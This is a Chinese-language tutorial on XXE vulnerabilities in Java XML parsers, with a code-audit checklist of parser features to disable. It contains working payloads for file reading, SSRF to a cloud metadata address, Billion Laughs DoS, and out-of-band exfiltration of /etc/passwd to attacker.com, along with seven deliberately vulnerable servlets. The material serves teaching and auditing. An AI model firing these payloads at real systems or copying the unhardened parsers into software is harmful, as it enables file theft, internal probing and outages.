XML 是可扩展标记语言,被设计用来结构化、传输与存储数据。XML 使用标签来标记数据,这些标签可以自定义,因此 XML 具有可扩展性。

    XML 文档由一个根元素开始,然后包含一系列嵌套的元素。每个元素可以包含文本、属性和子元素。标签用尖括号(<>)表示,必须成对出现,有开始标签就必须有结束标签。同时,XML 文件需要声明,例如:<xml version="1.0" encoding="UTF-8"?>

    XML 提供了一种通用的数据格式,使不同平台和应用程序能够共享和解析数据。XML 支持通过文档类型定义(DTD)或 XML Schema 定义文档的结构和约束,以确保数据的有效性和一致性。

XML 文档示例:

<?xml version="1.0" encoding="UTF-8" ?>
  <email>
    <to>sec@aa.com</to>
    <from>code@aa.com</from>
    <body>Hello, test!</body>
  </email>

DTD

    DTD (Document Type Definition,文档类型定义)是 XML 的一种元数据结构,用于定义 XML 文档的合法结构、元素、属性以及实体(Entity)。DTD 可以内嵌在 XML 文件中(内部 DTD),也可以通过外部引用引入(外部 DTD)。

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!-- ...其他元素定义... -->
]>

实体

    实体(Entity)是 XML 的存储单元,用于定义可重用内容的一种机制。实体可以代表文本、特殊字符,甚至外部资源。实体分为内部实体和外部实体。当 XML 被解析时,实体会被替换为其定义的内容。

内部实体

    内部实体(Internal Entity)定义在 DTD (Document Type Definition,文档类型定义)中,内容为字面量(字符串),不引用外部资源。

<!DOCTYPE test [
  <!ENTITY author "Alice">
]>
<message>Written by &author;</message>

解析后变为:<message>Written by Alice</message>

外部实体

    外部实体(External Entity)的内容来自外部资源(如本地文件、HTTP URL等),通过SYSTEMPUBLIC关键字引入。如果应用程序未禁用外部实体解析,攻击者可利用它读取敏感文件、发起服务器端请求伪造、DoS 攻击等。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
  <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<foo>
  <data>&f;</data>
</foo>

    定义了一个名为f的外部实体,它引用了本地的/etc/passwd文件。通过&f来引用该外部实体,并将其包含在<data>元素中。

    当应用程序在解析 XML 输入时,若没有禁止外部实体的加载而导致加载了外部文件及代码时,便会造成 XXE 漏洞。XXE 漏洞可以通过FILE协议或是FTP协议来读取文件源码,也可以通过 XXE 漏洞来对内网进行探测或者攻击。

XXE 攻击原理

    当应用程序使用不安全的 XML 解析器(如未禁用外部实体)处理用户提交的 XML 数据时,攻击者可注入恶意 DTD 和外部实体,导致:

  • 任意文件读取(如 /etc/passwd、C:\Windows\win.ini)

  • 服务端请求伪造(SSRF)

  • 拒绝服务(如 Billion Laughs Attack)

  • 带外数据泄露(Out-of-Band, OOB)

常见攻击类型

本地文件读取

通过定义指向本地文件系统的外部实体,读取服务器上的敏感文件。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

服务器端请求伪造(SSRF)

利用外部实体向内网或外部 URL 发起 HTTP 请求,探测或攻击后端系统。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254:6379">
]>
<root>&xxe;</root>

带外数据泄露(Out-of-Band, OOB)

利用参数实体(Parameter Entity)结合外部 DTD,将敏感数据外传到攻击者控制的服务器。

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<request>test</request>

evil.dtd内容(托管在攻击者服务器):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
%send;

Billion Laughs(逻辑炸弹/DoS)

利用递归实体导致内存爆炸:

<!DOCTYPE lolz [
  <!ENTITY a "lol">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<root>&d;</root>

Java 中常用解析 XML 的方法

DocumentBuilderFactory

DocmentBuilder类是javax.xml.parsers.DocumentBuilderFactory类的子类,该类提供了创建 Document 对象以及解析 XML 文件的方法。

package xxe.test.testxxe;

import java.io.*;

import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

@WebServlet(name = "xxeServlet1", value = "/xxe-servlet1")
public class XxeServlet1 extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            // 创建DocumentBuilderFactory实例
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            // 创建DocumentBuilder实例
            DocumentBuilder db = dbf.newDocumentBuilder();
            // 解析指定路径的XML文件
            Document doc = db.parse(new File("/opt/javaProject/testXXE/file.xml"));
            // 获取标签名为"data"的节点列表
            NodeList nodes = doc.getElementsByTagName("data");
            // 获取第一个节点并转换为Element对象
            Element element = (Element)nodes.item(0);
            // 向客户端输出HTML响应
            response.getWriter().println("<html><body>");
            // 输出XML文件中"data"标签的内容
            response.getWriter().println(element.getTextContent());
            response.getWriter().println("</body></html>");
        } catch (ParserConfigurationException | SAXException e) {
            throw new RuntimeException(e);
        }
    }
}

图片

XMLInputFactory

XMLInputFactory类在javax.xml.stream包内,该类可以结合XMLStreamReader对象读取 XML 流,解析 XML 文件。

package xxe.test.testxxe;

import jakarta.servlet.annotation.WebServlet; 
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamReader;

import java.io.IOException;

@WebServlet(name = "xxeServlet2", value = "/xxe-servlet2")
public class XxeServlet2 extends HttpServlet {
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建XML输入工厂实例
        XMLInputFactory factory = XMLInputFactory.newInstance();
        try {
            // 使用请求输入流创建XML流读取器
            XMLStreamReader reader = factory.createXMLStreamReader(request.getInputStream());
            // 遍历XML流中的所有事件
            while (reader.hasNext()) {
                // 获取下一个XML事件类型
                int type = reader.next();
                // 如果事件类型是字符内容,则将其输出到响应中
                if (type == reader.CHARACTERS) {
                    response.getWriter().println(reader.getText());
                }
            }
        } catch (XMLStreamException e) {
            // 将XML流异常转换为运行时异常抛出
            throw new RuntimeException(e);
        }
    }
}

图片

SAXParserFactory

SAXParserFactoryDocumentBuilderFactory的方式类似。

package xxe.test.testxxe;

import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

import java.io.IOException;

@WebServlet(name = "xxeServlet3", value = "/xxe-servlet3")
public class XxeServlet3 extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建SAX解析器工厂
        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser saxParser;
        try {
            // 创建SAX解析器实例
            saxParser = spf.newSAXParser();
        } catch (ParserConfigurationException | SAXException e) {
            throw new RuntimeException(e);
        }

        // 创建自定义的数据处理器来提取内容
        DataHandler handler = new DataHandler();
        try {
            // 解析XML文件
            saxParser.parse("/opt/javaProject/testXXE/file.xml", handler);
        } catch (SAXException e) {
            throw new RuntimeException(e);
        }
        // 构建HTML响应
        response.getWriter().println("<html><body>");
        response.getWriter().println(handler.data);
        response.getWriter().println("</body></html>");
    }

    /**
     * 自定义的SAX数据处理器
     * 用于处理XML解析过程中的事件
     */
    static class DataHandler extends DefaultHandler {
        // 当前文本内容的构建器
        public StringBuilder currentText = new StringBuilder();
        // 存储解析后的数据
        public String data = "";

        /**
         * 遇到元素开始标签时的处理方法
         * @param uri 命名空间URI
         * @param localName 本地名称
         * @param qName 限定名称
         * @param attributes 元素属性
         */
        @Override
        public void startElement(String uri, String localName, String qName, Attributes attributes) {
            currentText.setLength(0); // 清空当前文本内容
        }

        /**
         * 处理元素中的文本内容
         * @param ch 字符数组
         * @param start 开始位置
         * @param length 长度
         */
        @Override
        public void characters(char[] ch, int start, int length) {
            currentText.append(ch, start, length);
        }

        /**
         * 遇到元素结束标签时的处理方法
         * @param uri 命名空间URI
         * @param localName 本地名称
         * @param qName 限定名称
         */
        @Override
        public void endElement(String uri, String localName, String qName) {
            // 如果是data元素的结束标签,则保存其内容
            if ("data".equals(qName)) {
                data = currentText.toString();
            }
        }
    }
}

SAXBuilder

SAXBuilder是一个JDOM 解析器,其能够将路径中的 XML 文档解析为 Document对象。

<dependency>
    <groupId>org.jdom</groupId>
    <artifactId>jdom2</artifactId>
    <version>2.0.6.1</version>
</dependency>
package xxe.test.testxxe;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.jdom2.Document;
import org.jdom2.Element;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

import java.io.IOException;

@WebServlet(name = "xxeServlet4", value = "/xxe-servlet4")
public class XxeServlet4 extends HttpServlet {
    public void service(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建SAXBuilder实例,用于解析XML文档
        SAXBuilder builder = new SAXBuilder();
        try {
            // 使用SAXBuilder解析请求输入流中的XML文档
            Document doc = builder.build(request.getInputStream());
            // 获取XML文档的根元素
            Element root = doc.getRootElement();
            // 将根元素下"data"子元素的文本内容输出到响应中
            response.getWriter().println(root.getChildText("data"));
        } catch (JDOMException e) {
            // 捕获JDOM异常并转换为运行时异常抛出
            throw new RuntimeException(e);
        }
    }
}

图片

SAXReader

DOM4Jdom4j.org的一个开源 XML 解析包,用于将 XML 文档解析为 Dom4j 的文档对象模型(类似 DOM)。DOM4J读/写 XML 文档主要依赖于org.dom4j.io包。

<dependency>
  <groupId>org.dom4j</groupId>
  <artifactId>dom4j</artifactId>
  <version>2.2.0</version>
</dependency>
package xxe.test.testxxe;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;

import java.io.IOException; 

@WebServlet(name = "xxeServlet5", value = "/xxe-servlet5") 
public class XxeServlet5 extends HttpServlet {
    public void service(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建SAXReader对象,用于解析XML
        SAXReader reader = new SAXReader();
        Document document;
        try {
            // 从请求输入流中读取并解析XML文档
            document = reader.read(request.getInputStream());
        } catch (DocumentException e) {
            // 如果解析过程中发生异常,抛出运行时异常
            throw new RuntimeException(e);
        }
        Element root = document.getRootElement(); // 获取XML文档的根元素
        // 获取根元素下名为"data"的元素的文本内容
        String data = root.elementText("data");
        // 将获取到的数据写入响应输出流,返回给客户端
        response.getWriter().write(data);
    }
}

Digester

Digester是 Apache Commons Digester库提供的一个基于规则(Rule-based)的 XML 解析工具,底层使用 SAX 解析器。

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-digester3</artifactId>
  <version>3.2</version>
</dependency>
package xxe.test.testxxe;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.commons.digester3.Digester;
import org.xml.sax.SAXException;

import java.io.IOException;

@WebServlet(name = "xxeServlet6", value = "/xxe-servlet6")
public class XxeServlet6 extends HttpServlet {
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 创建Digester实例,用于解析XML
        Digester digester = new Digester();
        // 设置当解析XML元素"foo"时创建DataContainer对象
        digester.addObjectCreate("foo", DataContainer.class);
        // 设置当解析XML元素"foo/data"时调用DataContainer的setData方法
        digester.addCallMethod("foo/data", "setData", 0);

        try {
            // 使用Digester解析请求输入流中的XML数据
            DataContainer result = digester.parse(request.getInputStream());
            // 将解析结果写入响应
            response.getWriter().println(result.getData());
        } catch (SAXException e) {
            // 处理SAX解析异常
            throw new RuntimeException(e);
        }
    }

    /**
     * 内部静态类,用于存储解析后的数据
     */
    public static class DataContainer {
        private String data; // 存储数据的字段
        // 获取数据的方法
        public String getData() {return data;}
        // 设置数据的方法
        public void setData(String data) {this.data = data;}
    }
}

TransformerFactory

XSLT支持嵌入外部实体。

<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <result>&xxe;</result>
  </xsl:template>
</xsl:stylesheet>
package xxe.test.testxxe;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.xml.transform.*;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;

import java.io.*;

@WebServlet(name = "xxeServlet7", value = "/xxe-servlet7")
public class XxeServlet7 extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 1. 正确读取请求体(XSL 内容)
        StringBuilder sb = new StringBuilder();
        try (BufferedReader reader = request.getReader()) {
            String line;
            while ((line = reader.readLine()) != null) {
                sb.append(line);
            }
        }

        String xslContent = sb.toString();

        // 2. 创建TransformerFactory
        TransformerFactory factory = TransformerFactory.newInstance();

        // 3. 创建 Transformer
        Transformer transformer;
        try {
            transformer = factory.newTransformer(new StreamSource(new StringReader(xslContent)));
        } catch (TransformerConfigurationException e) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid XSL: " + e.getMessage());
            return;
        }

        // 4. 执行转换(使用固定 XML 源)
        String xml = "<foo/>";
        StringWriter writer = new StringWriter();
        try {
            transformer.transform(
                    new StreamSource(new StringReader(xml)),
                    new StreamResult(writer)
            );
        } catch (TransformerException e) {
            response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Transformation failed: " + e.getMessage());
            return;
        }

        // 5. 输出结果
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().write(writer.toString());
    }
}

审计要点

在代码审计中,搜索以下关键词:

  • DocumentBuilderFactory.newInstance()

  • newDocumentBuilder()

  • .parse(

  • SAXParserFactory.newInstance()

  • newSAXParser()

  • XMLInputFactory.newInstance()

  • .createXMLStreamReader(

  • XMLStreamReader

  • XMLStreamReader.CHARACTERS

  • XMLReaderFactory.createXMLReader();

  • new SAXBuilder()

  • SAXBuilder builder = new SAXBuilder();

  • builder.build(

  • new SAXReader()

  • new Digester()

  • TransformerFactory.newInstance()

  • newTransformer(

  • transform(

然后检查是否设置了以下任一安全特性:

  • disallow-doctype-decl = true

    或同时禁用:

  • external-general-entities = false

  • external-parameter-entities = false

  • load-external-dtd = false

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐